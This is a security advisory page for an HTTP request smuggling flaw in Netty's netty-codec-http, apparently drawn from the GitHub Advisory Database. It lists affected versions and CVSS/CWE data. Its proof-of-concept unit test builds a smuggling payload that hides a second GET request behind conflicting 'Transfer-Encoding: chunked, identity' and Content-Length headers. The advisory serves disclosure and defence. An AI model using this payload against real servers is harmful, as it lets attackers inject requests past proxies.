Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding
Summary
Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.
Details
Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length
" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "
A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked, identity\r\n" +
"Content-Length: 48\r\n" +
"\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
assertTrue(request.headers().contains("Transfer-Encoding"));
assertFalse(request.headers().contains("Content-Length"));
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | io.netty:netty-codec-http | >= 4.2.0.Alpha1, < 4.2.13.Final, < 4.1.133.Final | 4.2.13.Final, 4.1.133.Final |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N- Weakness (CWE)
CWE-444- Platform
- Java / Kotlin (Maven)
- Package
io.netty:netty-codec-http- Disclosed
- 07.05.2026
- Updated
- 11.10.2026 13:20
Sources and licenses
OSV / GitHub Advisory Database - GHSA-38f8-5428-x5cv - CC BY 4.0
Vulnerability history: io.netty:netty-codec-http
All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 24
- First → latest
- 02.2020 08.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 6
- Medium 16
- Low 1
Disclosures per year
- 2020: 1
- 2021: 2
- 2022: 2
- 2023: 0
- 2024: 1
- 2025: 2
- 2026: 16
-
Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.